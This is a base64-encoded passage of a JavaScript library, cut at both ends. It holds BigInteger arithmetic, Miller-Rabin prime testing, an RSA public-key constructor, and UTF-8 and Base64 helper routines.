ytpKXJbaV09b3AodGhpc1tpXSxmKTtyLnQ9dGhpcy50fWVsc2V7Zj10aGlzLnMmdGhpcy5ETTtmb3IoaT1tO2k8YS50OysraSlyW2ldPW9wKGYsYVtpXSk7ci50PWEudH1yLnM9b3AodGhpcy5zLGEucyk7ci5jbGFtcCgpfWZ1bmN0aW9uIG9wX2FuZCh4LHkpe3JldHVybiB4Jnl9ZnVuY3Rpb24gYm5BbmQoYSl7dmFyIHI9bmJpKCk7dGhpcy5iaXR3aXNlVG8oYSxvcF9hbmQscik7cmV0dXJuIHJ9ZnVuY3Rpb24gb3Bfb3IoeCx5KXtyZXR1cm4geHx5fWZ1bmN0aW9uIGJuT3IoYSl7dmFyIHI9bmJpKCk7dGhpcy5iaXR3aXNlVG8oYSxvcF9vcixyKTtyZXR1cm4gcn1mdW5jdGlvbiBvcF94b3IoeCx5KXtyZXR1cm4geF55fWZ1bmN0aW9uIGJuWG9yKGEpe3ZhciByPW5iaSgpO3RoaXMuYml0d2lzZVRvKGEsb3BfeG9yLHIpO3JldHVybiByfWZ1bmN0aW9uIG9wX2FuZG5vdCh4LHkpe3JldHVybiB4Jn55fWZ1bmN0aW9uIGJuQW5kTm90KGEpe3ZhciByPW5iaSgpO3RoaXMuYml0d2lzZVRvKGEsb3BfYW5kbm90LHIpO3JldHVybiByfWZ1bmN0aW9uIGJuTm90KCl7dmFyIHI9bmJpKCk7Zm9yKHZhciBpPTA7aTx0aGlzLnQ7KytpKXJbaV09dGhpcy5ETSZ+dGhpc1tpXTtyLnQ9dGhpcy50O3Iucz1+dGhpcy5zO3JldHVybiByfWZ1bmN0aW9uIGJuU2hpZnRMZWZ0KG4pe3ZhciByPW5iaSgpO2lmKG48MCl0aGlzLnJTaGlmdFRvKC1uLHIpO2Vsc2UgdGhpcy5sU2hpZnRUbyhuLHIpO3JldHVybiByfWZ1bmN0aW9uIGJuU2hpZnRSaWdodChuKXt2YXIgcj1uYmkoKTtpZihuPDApdGhpcy5sU2hpZnRUbygtbixyKTtlbHNlIHRoaXMuclNoaWZ0VG8obixyKTtyZXR1cm4gcn1mdW5jdGlvbiBsYml0KHgpe2lmKHg9PTApcmV0dXJuLTE7dmFyIHI9MDtpZigoeCYweGZmZmYpPT0wKXt4Pj49MTY7cis9MTZ9aWYoKHgmMHhmZik9PTApe3g+Pj04O3IrPTh9aWYoKHgmMHhmKT09MCl7eD4+PTQ7cis9NH1pZigoeCYzKT09MCl7eD4+PTI7cis9Mn1pZigoeCYxKT09MCkrK3I7cmV0dXJuIHJ9ZnVuY3Rpb24gYm5HZXRMb3dlc3RTZXRCaXQoKXtmb3IodmFyIGk9MDtpPHRoaXMudDsrK2kpaWYodGhpc1tpXSE9MClyZXR1cm4gaSp0aGlzLkRCK2xiaXQodGhpc1tpXSk7aWYodGhpcy5zPDApcmV0dXJuIHRoaXMudCp0aGlzLkRCO3JldHVybi0xfWZ1bmN0aW9uIGNiaXQoeCl7dmFyIHI9MDt3aGlsZSh4IT0wKXt4Jj14LTE7KytyfXJldHVybiByfWZ1bmN0aW9uIGJuQml0Q291bnQoKXt2YXIgcj0wLHg9dGhpcy5zJnRoaXMuRE07Zm9yKHZhciBpPTA7aTx0aGlzLnQ7KytpKXIrPWNiaXQodGhpc1tpXV54KTtyZXR1cm4gcn1mdW5jdGlvbiBiblRlc3RCaXQobil7dmFyIGo9TWF0aC5mbG9vcihuL3RoaXMuREIpO2lmKGo+PXRoaXMudClyZXR1cm4odGhpcy5zIT0wKTtyZXR1cm4oKHRoaXNbal0mKDE8PChuJXRoaXMuREIpKSkhPTApfWZ1bmN0aW9uIGJucENoYW5nZUJpdChuLG9wKXt2YXIgcj1CaWdJbnRlZ2VyLk9ORS5zaGlmdExlZnQobik7dGhpcy5iaXR3aXNlVG8ocixvcCxyKTtyZXR1cm4gcn1mdW5jdGlvbiBiblNldEJpdChuKXtyZXR1cm4gdGhpcy5jaGFuZ2VCaXQobixvcF9vcil9ZnVuY3Rpb24gYm5DbGVhckJpdChuKXtyZXR1cm4gdGhpcy5jaGFuZ2VCaXQobixvcF9hbmRub3QpfWZ1bmN0aW9uIGJuRmxpcEJpdChuKXtyZXR1cm4gdGhpcy5jaGFuZ2VCaXQobixvcF94b3IpfWZ1bmN0aW9uIGJucEFkZFRvKGEscil7dmFyIGk9MCxjPTAsbT1NYXRoLm1pbihhLnQsdGhpcy50KTt3aGlsZShpPG0pe2MrPXRoaXNbaV0rYVtpXTtyW2krK109YyZ0aGlzLkRNO2M+Pj10aGlzLkRCfWlmKGEudDx0aGlzLnQpe2MrPWEuczt3aGlsZShpPHRoaXMudCl7Yys9dGhpc1tpXTtyW2krK109YyZ0aGlzLkRNO2M+Pj10aGlzLkRCfWMrPXRoaXMuc31lbHNle2MrPXRoaXMuczt3aGlsZShpPGEudCl7Yys9YVtpXTtyW2krK109YyZ0aGlzLkRNO2M+Pj10aGlzLkRCfWMrPWEuc31yLnM9KGM8MCk/LTE6MDtpZihjPjApcltpKytdPWM7ZWxzZSBpZihjPC0xKXJbaSsrXT10aGlzLkRWK2M7ci50PWk7ci5jbGFtcCgpfWZ1bmN0aW9uIGJuQWRkKGEpe3ZhciByPW5iaSgpO3RoaXMuYWRkVG8oYSxyKTtyZXR1cm4gcn1mdW5jdGlvbiBiblN1YnRyYWN0KGEpe3ZhciByPW5iaSgpO3RoaXMuc3ViVG8oYSxyKTtyZXR1cm4gcn1mdW5jdGlvbiBibk11bHRpcGx5KGEpe3ZhciByPW5iaSgpO3RoaXMubXVsdGlwbHlUbyhhLHIpO3JldHVybiByfWZ1bmN0aW9uIGJuU3F1YXJlKCl7dmFyIHI9bmJpKCk7dGhpcy5zcXVhcmVUbyhyKTtyZXR1cm4gcn1mdW5jdGlvbiBibkRpdmlkZShhKXt2YXIgcj1uYmkoKTt0aGlzLmRpdlJlbVRvKGEscixudWxsKTtyZXR1cm4gcn1mdW5jdGlvbiBiblJlbWFpbmRlcihhKXt2YXIgcj1uYmkoKTt0aGlzLmRpdlJlbVRvKGEsbnVsbCxyKTtyZXR1cm4gcn1mdW5jdGlvbiBibkRpdmlkZUFuZFJlbWFpbmRlcihhKXt2YXIgcT1uYmkoKSxyPW5iaSgpO3RoaXMuZGl2UmVtVG8oYSxxLHIpO3JldHVybiBuZXcgQXJyYXkocSxyKX1mdW5jdGlvbiBibnBETXVsdGlwbHkobil7dGhpc1t0aGlzLnRdPXRoaXMuYW0oMCxuLTEsdGhpcywwLDAsdGhpcy50KTsrK3RoaXMudDt0aGlzLmNsYW1wKCl9ZnVuY3Rpb24gYm5wREFkZE9mZnNldChuLHcpe2lmKG49PTApcmV0dXJuO3doaWxlKHRoaXMudDw9dyl0aGlzW3RoaXMudCsrXT0wO3RoaXNbd10rPW47d2hpbGUodGhpc1t3XT49dGhpcy5EVil7dGhpc1t3XS09dGhpcy5EVjtpZigrK3c+PXRoaXMudCl0aGlzW3RoaXMudCsrXT0wOysrdGhpc1t3XX19ZnVuY3Rpb24gTnVsbEV4cCgpe31mdW5jdGlvbiBuTm9wKHgpe3JldHVybiB4fWZ1bmN0aW9uIG5NdWxUbyh4LHkscil7eC5tdWx0aXBseVRvKHkscil9ZnVuY3Rpb24gblNxclRvKHgscil7eC5zcXVhcmVUbyhyKX1OdWxsRXhwLnByb3RvdHlwZS5jb252ZXJ0PW5Ob3A7TnVsbEV4cC5wcm90b3R5cGUucmV2ZXJ0PW5Ob3A7TnVsbEV4cC5wcm90b3R5cGUubXVsVG89bk11bFRvO051bGxFeHAucHJvdG90eXBlLnNxclRvPW5TcXJUbztmdW5jdGlvbiBiblBvdyhlKXtyZXR1cm4gdGhpcy5leHAoZSxuZXcgTnVsbEV4cCgpKX1mdW5jdGlvbiBibnBNdWx0aXBseUxvd2VyVG8oYSxuLHIpe3ZhciBpPU1hdGgubWluKHRoaXMudCthLnQsbik7ci5zPTA7ci50PWk7d2hpbGUoaT4wKXJbLS1pXT0wO3ZhciBqO2ZvcihqPXIudC10aGlzLnQ7aTxqOysraSlyW2krdGhpcy50XT10aGlzLmFtKDAsYVtpXSxyLGksMCx0aGlzLnQpO2ZvcihqPU1hdGgubWluKGEudCxuKTtpPGo7KytpKXRoaXMuYW0oMCxhW2ldLHIsaSwwLG4taSk7ci5jbGFtcCgpfWZ1bmN0aW9uIGJucE11bHRpcGx5VXBwZXJUbyhhLG4scil7LS1uO3ZhciBpPXIudD10aGlzLnQrYS50LW47ci5zPTA7d2hpbGUoLS1pPj0wKXJbaV09MDtmb3IoaT1NYXRoLm1heChuLXRoaXMudCwwKTtpPGEudDsrK2kpclt0aGlzLnQraS1uXT10aGlzLmFtKG4taSxhW2ldLHIsMCwwLHRoaXMudCtpLW4pO3IuY2xhbXAoKTtyLmRyU2hpZnRUbygxLHIpfWZ1bmN0aW9uIEJhcnJldHQobSl7dGhpcy5yMj1uYmkoKTt0aGlzLnEzPW5iaSgpO0JpZ0ludGVnZXIuT05FLmRsU2hpZnRUbygyKm0udCx0aGlzLnIyKTt0aGlzLm11PXRoaXMucjIuZGl2aWRlKG0pO3RoaXMubT1tfWZ1bmN0aW9uIGJhcnJldHRDb252ZXJ0KHgpe2lmKHguczwwfHx4LnQ+Mip0aGlzLm0udClyZXR1cm4geC5tb2QodGhpcy5tKTtlbHNlIGlmKHguY29tcGFyZVRvKHRoaXMubSk8MClyZXR1cm4geDtlbHNle3ZhciByPW5iaSgpO3guY29weVRvKHIpO3RoaXMucmVkdWNlKHIpO3JldHVybiByfX1mdW5jdGlvbiBiYXJyZXR0UmV2ZXJ0KHgpe3JldHVybiB4fWZ1bmN0aW9uIGJhcnJldHRSZWR1Y2UoeCl7eC5kclNoaWZ0VG8odGhpcy5tLnQtMSx0aGlzLnIyKTtpZih4LnQ+dGhpcy5tLnQrMSl7eC50PXRoaXMubS50KzE7eC5jbGFtcCgpfXRoaXMubXUubXVsdGlwbHlVcHBlclRvKHRoaXMucjIsdGhpcy5tLnQrMSx0aGlzLnEzKTt0aGlzLm0ubXVsdGlwbHlMb3dlclRvKHRoaXMucTMsdGhpcy5tLnQrMSx0aGlzLnIyKTt3aGlsZSh4LmNvbXBhcmVUbyh0aGlzLnIyKTwwKXguZEFkZE9mZnNldCgxLHRoaXMubS50KzEpO3guc3ViVG8odGhpcy5yMix4KTt3aGlsZSh4LmNvbXBhcmVUbyh0aGlzLm0pPj0wKXguc3ViVG8odGhpcy5tLHgpfWZ1bmN0aW9uIGJhcnJldHRTcXJUbyh4LHIpe3guc3F1YXJlVG8ocik7dGhpcy5yZWR1Y2Uocil9ZnVuY3Rpb24gYmFycmV0dE11bFRvKHgseSxyKXt4Lm11bHRpcGx5VG8oeSxyKTt0aGlzLnJlZHVjZShyKX1CYXJyZXR0LnByb3RvdHlwZS5jb252ZXJ0PWJhcnJldHRDb252ZXJ0O0JhcnJldHQucHJvdG90eXBlLnJldmVydD1iYXJyZXR0UmV2ZXJ0O0JhcnJldHQucHJvdG90eXBlLnJlZHVjZT1iYXJyZXR0UmVkdWNlO0JhcnJldHQucHJvdG90eXBlLm11bFRvPWJhcnJldHRNdWxUbztCYXJyZXR0LnByb3RvdHlwZS5zcXJUbz1iYXJyZXR0U3FyVG87ZnVuY3Rpb24gYm5Nb2RQb3coZSxtKXt2YXIgaT1lLmJpdExlbmd0aCgpLGsscj1uYnYoMSksejtpZihpPD0wKXJldHVybiByO2Vsc2UgaWYoaTwxOClrPTE7ZWxzZSBpZihpPDQ4KWs9MztlbHNlIGlmKGk8MTQ0KWs9NDtlbHNlIGlmKGk8NzY4KWs9NTtlbHNlIGs9NjtpZihpPDgpej1uZXcgQ2xhc3NpYyhtKTtlbHNlIGlmKG0uaXNFdmVuKCkpej1uZXcgQmFycmV0dChtKTtlbHNlIHo9bmV3IE1vbnRnb21lcnkobSk7dmFyIGc9bmV3IEFycmF5KCksbj0zLGsxPWstMSxrbT0oMTw8ayktMTtnWzFdPXouY29udmVydCh0aGlzKTtpZihrPjEpe3ZhciBnMj1uYmkoKTt6LnNxclRvKGdbMV0sZzIpO3doaWxlKG48PWttKXtnW25dPW5iaSgpO3oubXVsVG8oZzIsZ1tuLTJdLGdbbl0pO24rPTJ9fXZhciBqPWUudC0xLHcsaXMxPXRydWUscjI9bmJpKCksdDtpPW5iaXRzKGVbal0pLTE7d2hpbGUoaj49MCl7aWYoaT49azEpdz0oZVtqXT4+KGktazEpKSZrbTtlbHNle3c9KGVbal0mKCgxPDwoaSsxKSktMSkpPDwoazEtaSk7aWYoaj4wKXd8PWVbai0xXT4+KHRoaXMuREIraS1rMSl9bj1rO3doaWxlKCh3JjEpPT0wKXt3Pj49MTstLW59aWYoKGktPW4pPDApe2krPXRoaXMuREI7LS1qfWlmKGlzMSl7Z1t3XS5jb3B5VG8ocik7aXMxPWZhbHNlfWVsc2V7d2hpbGUobj4xKXt6LnNxclRvKHIscjIpO3ouc3FyVG8ocjIscik7bi09Mn1pZihuPjApei5zcXJUbyhyLHIyKTtlbHNle3Q9cjtyPXIyO3IyPXR9ei5tdWxUbyhyMixnW3ddLHIpfXdoaWxlKGo+PTAmJihlW2pdJigxPDxpKSk9PTApe3ouc3FyVG8ocixyMik7dD1yO3I9cjI7cjI9dDtpZigtLWk8MCl7aT10aGlzLkRCLTE7LS1qfX19cmV0dXJuIHoucmV2ZXJ0KHIpfWZ1bmN0aW9uIGJuR0NEKGEpe3ZhciB4PSh0aGlzLnM8MCk/dGhpcy5uZWdhdGUoKTp0aGlzLmNsb25lKCk7dmFyIHk9KGEuczwwKT9hLm5lZ2F0ZSgpOmEuY2xvbmUoKTtpZih4LmNvbXBhcmVUbyh5KTwwKXt2YXIgdD14O3g9eTt5PXR9dmFyIGk9eC5nZXRMb3dlc3RTZXRCaXQoKSxnPXkuZ2V0TG93ZXN0U2V0Qml0KCk7aWYoZzwwKXJldHVybiB4O2lmKGk8ZylnPWk7aWYoZz4wKXt4LnJTaGlmdFRvKGcseCk7eS5yU2hpZnRUbyhnLHkpfXdoaWxlKHguc2lnbnVtKCk+MCl7aWYoKGk9eC5nZXRMb3dlc3RTZXRCaXQoKSk+MCl4LnJTaGlmdFRvKGkseCk7aWYoKGk9eS5nZXRMb3dlc3RTZXRCaXQoKSk+MCl5LnJTaGlmdFRvKGkseSk7aWYoeC5jb21wYXJlVG8oeSk+PTApe3guc3ViVG8oeSx4KTt4LnJTaGlmdFRvKDEseCl9ZWxzZXt5LnN1YlRvKHgseSk7eS5yU2hpZnRUbygxLHkpfX1pZihnPjApeS5sU2hpZnRUbyhnLHkpO3JldHVybiB5fWZ1bmN0aW9uIGJucE1vZEludChuKXtpZihuPD0wKXJldHVybiAwO3ZhciBkPXRoaXMuRFYlbixyPSh0aGlzLnM8MCk/bi0xOjA7aWYodGhpcy50PjApaWYoZD09MClyPXRoaXNbMF0lbjtlbHNlIGZvcih2YXIgaT10aGlzLnQtMTtpPj0wOy0taSlyPShkKnIrdGhpc1tpXSklbjtyZXR1cm4gcn1mdW5jdGlvbiBibk1vZEludmVyc2UobSl7dmFyIGFjPW0uaXNFdmVuKCk7aWYoKHRoaXMuaXNFdmVuKCkmJmFjKXx8bS5zaWdudW0oKT09MClyZXR1cm4gQmlnSW50ZWdlci5aRVJPO3ZhciB1PW0uY2xvbmUoKSx2PXRoaXMuY2xvbmUoKTt2YXIgYT1uYnYoMSksYj1uYnYoMCksYz1uYnYoMCksZD1uYnYoMSk7d2hpbGUodS5zaWdudW0oKSE9MCl7d2hpbGUodS5pc0V2ZW4oKSl7dS5yU2hpZnRUbygxLHUpO2lmKGFjKXtpZighYS5pc0V2ZW4oKXx8IWIuaXNFdmVuKCkpe2EuYWRkVG8odGhpcyxhKTtiLnN1YlRvKG0sYil9YS5yU2hpZnRUbygxLGEpfWVsc2UgaWYoIWIuaXNFdmVuKCkpYi5zdWJUbyhtLGIpO2IuclNoaWZ0VG8oMSxiKX13aGlsZSh2LmlzRXZlbigpKXt2LnJTaGlmdFRvKDEsdik7aWYoYWMpe2lmKCFjLmlzRXZlbigpfHwhZC5pc0V2ZW4oKSl7Yy5hZGRUbyh0aGlzLGMpO2Quc3ViVG8obSxkKX1jLnJTaGlmdFRvKDEsYyl9ZWxzZSBpZighZC5pc0V2ZW4oKSlkLnN1YlRvKG0sZCk7ZC5yU2hpZnRUbygxLGQpfWlmKHUuY29tcGFyZVRvKHYpPj0wKXt1LnN1YlRvKHYsdSk7aWYoYWMpYS5zdWJUbyhjLGEpO2Iuc3ViVG8oZCxiKX1lbHNle3Yuc3ViVG8odSx2KTtpZihhYyljLnN1YlRvKGEsYyk7ZC5zdWJUbyhiLGQpfX1pZih2LmNvbXBhcmVUbyhCaWdJbnRlZ2VyLk9ORSkhPTApcmV0dXJuIEJpZ0ludGVnZXIuWkVSTztpZihkLmNvbXBhcmVUbyhtKT49MClyZXR1cm4gZC5zdWJ0cmFjdChtKTtpZihkLnNpZ251bSgpPDApZC5hZGRUbyhtLGQpO2Vsc2UgcmV0dXJuIGQ7aWYoZC5zaWdudW0oKTwwKXJldHVybiBkLmFkZChtKTtlbHNlIHJldHVybiBkfXZhciBsb3dwcmltZXM9WzIsMyw1LDcsMTEsMTMsMTcsMTksMjMsMjksMzEsMzcsNDEsNDMsNDcsNTMsNTksNjEsNjcsNzEsNzMsNzksODMsODksOTcsMTAxLDEwMywxMDcsMTA5LDExMywxMjcsMTMxLDEzNywxMzksMTQ5LDE1MSwxNTcsMTYzLDE2NywxNzMsMTc5LDE4MSwxOTEsMTkzLDE5NywxOTksMjExLDIyMywyMjcsMjI5LDIzMywyMzksMjQxLDI1MSwyNTcsMjYzLDI2OSwyNzEsMjc3LDI4MSwyODMsMjkzLDMwNywzMTEsMzEzLDMxNywzMzEsMzM3LDM0NywzNDksMzUzLDM1OSwzNjcsMzczLDM3OSwzODMsMzg5LDM5Nyw0MDEsNDA5LDQxOSw0MjEsNDMxLDQzMyw0MzksNDQzLDQ0OSw0NTcsNDYxLDQ2Myw0NjcsNDc5LDQ4Nyw0OTEsNDk5LDUwMyw1MDksNTIxLDUyMyw1NDEsNTQ3LDU1Nyw1NjMsNTY5LDU3MSw1NzcsNTg3LDU5Myw1OTksNjAxLDYwNyw2MTMsNjE3LDYxOSw2MzEsNjQxLDY0Myw2NDcsNjUzLDY1OSw2NjEsNjczLDY3Nyw2ODMsNjkxLDcwMSw3MDksNzE5LDcyNyw3MzMsNzM5LDc0Myw3NTEsNzU3LDc2MSw3NjksNzczLDc4Nyw3OTcsODA5LDgxMSw4MjEsODIzLDgyNyw4MjksODM5LDg1Myw4NTcsODU5LDg2Myw4NzcsODgxLDg4Myw4ODcsOTA3LDkxMSw5MTksOTI5LDkzNyw5NDEsOTQ3LDk1Myw5NjcsOTcxLDk3Nyw5ODMsOTkxLDk5N107dmFyIGxwbGltPSgxPDwyNikvbG93cHJpbWVzW2xvd3ByaW1lcy5sZW5ndGgtMV07ZnVuY3Rpb24gYm5Jc1Byb2JhYmxlUHJpbWUodCl7dmFyIGkseD10aGlzLmFicygpO2lmKHgudD09MSYmeFswXTw9bG93cHJpbWVzW2xvd3ByaW1lcy5sZW5ndGgtMV0pe2ZvcihpPTA7aTxsb3dwcmltZXMubGVuZ3RoOysraSlpZih4WzBdPT1sb3dwcmltZXNbaV0pcmV0dXJuIHRydWU7cmV0dXJuIGZhbHNlfWlmKHguaXNFdmVuKCkpcmV0dXJuIGZhbHNlO2k9MTt3aGlsZShpPGxvd3ByaW1lcy5sZW5ndGgpe3ZhciBtPWxvd3ByaW1lc1tpXSxqPWkrMTt3aGlsZShqPGxvd3ByaW1lcy5sZW5ndGgmJm08bHBsaW0pbSo9bG93cHJpbWVzW2orK107bT14Lm1vZEludChtKTt3aGlsZShpPGopaWYobSVsb3dwcmltZXNbaSsrXT09MClyZXR1cm4gZmFsc2V9cmV0dXJuIHgubWlsbGVyUmFiaW4odCl9ZnVuY3Rpb24gYm5wTWlsbGVyUmFiaW4odCl7dmFyIG4xPXRoaXMuc3VidHJhY3QoQmlnSW50ZWdlci5PTkUpO3ZhciBrPW4xLmdldExvd2VzdFNldEJpdCgpO2lmKGs8PTApcmV0dXJuIGZhbHNlO3ZhciByPW4xLnNoaWZ0UmlnaHQoayk7dD0odCsxKT4+MTtpZih0Pmxvd3ByaW1lcy5sZW5ndGgpdD1sb3dwcmltZXMubGVuZ3RoO3ZhciBhPW5iaSgpO2Zvcih2YXIgaT0wO2k8dDsrK2kpe2EuZnJvbUludChsb3dwcmltZXNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKmxvd3ByaW1lcy5sZW5ndGgpXSk7dmFyIHk9YS5tb2RQb3cocix0aGlzKTtpZih5LmNvbXBhcmVUbyhCaWdJbnRlZ2VyLk9ORSkhPTAmJnkuY29tcGFyZVRvKG4xKSE9MCl7dmFyIGo9MTt3aGlsZShqKys8ayYmeS5jb21wYXJlVG8objEpIT0wKXt5PXkubW9kUG93SW50KDIsdGhpcyk7aWYoeS5jb21wYXJlVG8oQmlnSW50ZWdlci5PTkUpPT0wKXJldHVybiBmYWxzZX1pZih5LmNvbXBhcmVUbyhuMSkhPTApcmV0dXJuIGZhbHNlfX1yZXR1cm4gdHJ1ZX1CaWdJbnRlZ2VyLnByb3RvdHlwZS5jaHVua1NpemU9Ym5wQ2h1bmtTaXplO0JpZ0ludGVnZXIucHJvdG90eXBlLnRvUmFkaXg9Ym5wVG9SYWRpeDtCaWdJbnRlZ2VyLnByb3RvdHlwZS5mcm9tUmFkaXg9Ym5wRnJvbVJhZGl4O0JpZ0ludGVnZXIucHJvdG90eXBlLmZyb21OdW1iZXI9Ym5wRnJvbU51bWJlcjtCaWdJbnRlZ2VyLnByb3RvdHlwZS5iaXR3aXNlVG89Ym5wQml0d2lzZVRvO0JpZ0ludGVnZXIucHJvdG90eXBlLmNoYW5nZUJpdD1ibnBDaGFuZ2VCaXQ7QmlnSW50ZWdlci5wcm90b3R5cGUuYWRkVG89Ym5wQWRkVG87QmlnSW50ZWdlci5wcm90b3R5cGUuZE11bHRpcGx5PWJucERNdWx0aXBseTtCaWdJbnRlZ2VyLnByb3RvdHlwZS5kQWRkT2Zmc2V0PWJucERBZGRPZmZzZXQ7QmlnSW50ZWdlci5wcm90b3R5cGUubXVsdGlwbHlMb3dlclRvPWJucE11bHRpcGx5TG93ZXJUbztCaWdJbnRlZ2VyLnByb3RvdHlwZS5tdWx0aXBseVVwcGVyVG89Ym5wTXVsdGlwbHlVcHBlclRvO0JpZ0ludGVnZXIucHJvdG90eXBlLm1vZEludD1ibnBNb2RJbnQ7QmlnSW50ZWdlci5wcm90b3R5cGUubWlsbGVyUmFiaW49Ym5wTWlsbGVyUmFiaW47QmlnSW50ZWdlci5wcm90b3R5cGUuY2xvbmU9Ym5DbG9uZTtCaWdJbnRlZ2VyLnByb3RvdHlwZS5pbnRWYWx1ZT1ibkludFZhbHVlO0JpZ0ludGVnZXIucHJvdG90eXBlLmJ5dGVWYWx1ZT1ibkJ5dGVWYWx1ZTtCaWdJbnRlZ2VyLnByb3RvdHlwZS5zaG9ydFZhbHVlPWJuU2hvcnRWYWx1ZTtCaWdJbnRlZ2VyLnByb3RvdHlwZS5zaWdudW09Ym5TaWdOdW07QmlnSW50ZWdlci5wcm90b3R5cGUudG9CeXRlQXJyYXk9Ym5Ub0J5dGVBcnJheTtCaWdJbnRlZ2VyLnByb3RvdHlwZS5lcXVhbHM9Ym5FcXVhbHM7QmlnSW50ZWdlci5wcm90b3R5cGUubWluPWJuTWluO0JpZ0ludGVnZXIucHJvdG90eXBlLm1heD1ibk1heDtCaWdJbnRlZ2VyLnByb3RvdHlwZS5hbmQ9Ym5BbmQ7QmlnSW50ZWdlci5wcm90b3R5cGUub3I9Ym5PcjtCaWdJbnRlZ2VyLnByb3RvdHlwZS54b3I9Ym5Yb3I7QmlnSW50ZWdlci5wcm90b3R5cGUuYW5kTm90PWJuQW5kTm90O0JpZ0ludGVnZXIucHJvdG90eXBlLm5vdD1ibk5vdDtCaWdJbnRlZ2VyLnByb3RvdHlwZS5zaGlmdExlZnQ9Ym5TaGlmdExlZnQ7QmlnSW50ZWdlci5wcm90b3R5cGUuc2hpZnRSaWdodD1iblNoaWZ0UmlnaHQ7QmlnSW50ZWdlci5wcm90b3R5cGUuZ2V0TG93ZXN0U2V0Qml0PWJuR2V0TG93ZXN0U2V0Qml0O0JpZ0ludGVnZXIucHJvdG90eXBlLmJpdENvdW50PWJuQml0Q291bnQ7QmlnSW50ZWdlci5wcm90b3R5cGUudGVzdEJpdD1iblRlc3RCaXQ7QmlnSW50ZWdlci5wcm90b3R5cGUuc2V0Qml0PWJuU2V0Qml0O0JpZ0ludGVnZXIucHJvdG90eXBlLmNsZWFyQml0PWJuQ2xlYXJCaXQ7QmlnSW50ZWdlci5wcm90b3R5cGUuZmxpcEJpdD1ibkZsaXBCaXQ7QmlnSW50ZWdlci5wcm90b3R5cGUuYWRkPWJuQWRkO0JpZ0ludGVnZXIucHJvdG90eXBlLnN1YnRyYWN0PWJuU3VidHJhY3Q7QmlnSW50ZWdlci5wcm90b3R5cGUubXVsdGlwbHk9Ym5NdWx0aXBseTtCaWdJbnRlZ2VyLnByb3RvdHlwZS5kaXZpZGU9Ym5EaXZpZGU7QmlnSW50ZWdlci5wcm90b3R5cGUucmVtYWluZGVyPWJuUmVtYWluZGVyO0JpZ0ludGVnZXIucHJvdG90eXBlLmRpdmlkZUFuZFJlbWFpbmRlcj1ibkRpdmlkZUFuZFJlbWFpbmRlcjtCaWdJbnRlZ2VyLnByb3RvdHlwZS5tb2RQb3c9Ym5Nb2RQb3c7QmlnSW50ZWdlci5wcm90b3R5cGUubW9kSW52ZXJzZT1ibk1vZEludmVyc2U7QmlnSW50ZWdlci5wcm90b3R5cGUucG93PWJuUG93O0JpZ0ludGVnZXIucHJvdG90eXBlLmdjZD1ibkdDRDtCaWdJbnRlZ2VyLnByb3RvdHlwZS5pc1Byb2JhYmxlUHJpbWU9Ym5Jc1Byb2JhYmxlUHJpbWU7QmlnSW50ZWdlci5wcm90b3R5cGUuc3F1YXJlPWJuU3F1YXJlO3ZhciBSU0FQdWJsaWNLZXk9ZnVuY3Rpb24oJG1vZHVsdXMsJGVuY3J5cHRpb25FeHBvbmVudCl7dGhpcy5tb2R1bHVzPW5ldyBCaWdJbnRlZ2VyKEhleC5lbmNvZGUoJG1vZHVsdXMpLDE2KTt0aGlzLmVuY3J5cHRpb25FeHBvbmVudD1uZXcgQmlnSW50ZWdlcihIZXguZW5jb2RlKCRlbmNyeXB0aW9uRXhwb25lbnQpLDE2KX07dmFyIFVURjg9e2VuY29kZTpmdW5jdGlvbigkaW5wdXQpeyRpbnB1dD0kaW5wdXQucmVwbGFjZSgvXHJcbi9nLCdcbicpO3ZhciAkb3V0cHV0PScnO2Zvcih2YXIgJG49MDskbjwkaW5wdXQubGVuZ3RoOyRuKyspe3ZhciAkYz0kaW5wdXQuY2hhckNvZGVBdCgkbik7aWYoJGM8MTI4KXskb3V0cHV0Kz1TdHJpbmcuZnJvbUNoYXJDb2RlKCRjKX1lbHNlIGlmKCgkYz4xMjcpJiYoJGM8MjA0OCkpeyRvdXRwdXQrPVN0cmluZy5mcm9tQ2hhckNvZGUoKCRjPj42KXwxOTIpOyRvdXRwdXQrPVN0cmluZy5mcm9tQ2hhckNvZGUoKCRjJjYzKXwxMjgpfWVsc2V7JG91dHB1dCs9U3RyaW5nLmZyb21DaGFyQ29kZSgoJGM+PjEyKXwyMjQpOyRvdXRwdXQrPVN0cmluZy5mcm9tQ2hhckNvZGUoKCgkYz4+NikmNjMpfDEyOCk7JG91dHB1dCs9U3RyaW5nLmZyb21DaGFyQ29kZSgoJGMmNjMpfDEyOCl9fXJldHVybiAkb3V0cHV0fSxkZWNvZGU6ZnVuY3Rpb24oJGlucHV0KXt2YXIgJG91dHB1dD0nJzt2YXIgJGk9MDt2YXIgJGM9JGMxPSRjMj0wO3doaWxlKCRpPCRpbnB1dC5sZW5ndGgpeyRjPSRpbnB1dC5jaGFyQ29kZUF0KCRpKTtpZigkYzwxMjgpeyRvdXRwdXQrPVN0cmluZy5mcm9tQ2hhckNvZGUoJGMpOyRpKyt9ZWxzZSBpZigoJGM+MTkxKSYmKCRjPDIyNCkpeyRjMj0kaW5wdXQuY2hhckNvZGVBdCgkaSsxKTskb3V0cHV0Kz1TdHJpbmcuZnJvbUNoYXJDb2RlKCgoJGMmMzEpPDw2KXwoJGMyJjYzKSk7JGkrPTJ9ZWxzZXskYzI9JGlucHV0LmNoYXJDb2RlQXQoJGkrMSk7JGMzPSRpbnB1dC5jaGFyQ29kZUF0KCRpKzIpOyRvdXRwdXQrPVN0cmluZy5mcm9tQ2hhckNvZGUoKCgkYyYxNSk8PDEyKXwoKCRjMiY2Myk8PDYpfCgkYzMmNjMpKTskaSs9M319cmV0dXJuICRvdXRwdXR9fTt2YXIgQmFzZTY0PXtiYXNlNjQ6J0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89JyxlbmNvZGU6ZnVuY3Rpb24oJGlucHV0KXtpZighJGlucHV0KXtyZXR1cm4gZmFsc2V9dmFyICRvdXRwdXQ9Jyc7dmFyICRjaHIxLCRjaHIyLCRjaHIzO3ZhciAkZW5jMSwkZW5jMiwkZW5jMywkZW5jNDt2YXIgJGk9MDtkb3skY2hyMT0kaW5wdXQuY2hhckNvZGVBdCgkaSsrKTskY2hyMj0kaW5wdXQuY2hhckNvZGVBdCgkaSsrKTskY2hyMz0kaW5wdXQuY2hhckNvZGVBdCgkaSsrKTskZW5jMT0kY2hyMT4+MjskZW5jMj0oKCRjaHIxJjMpPD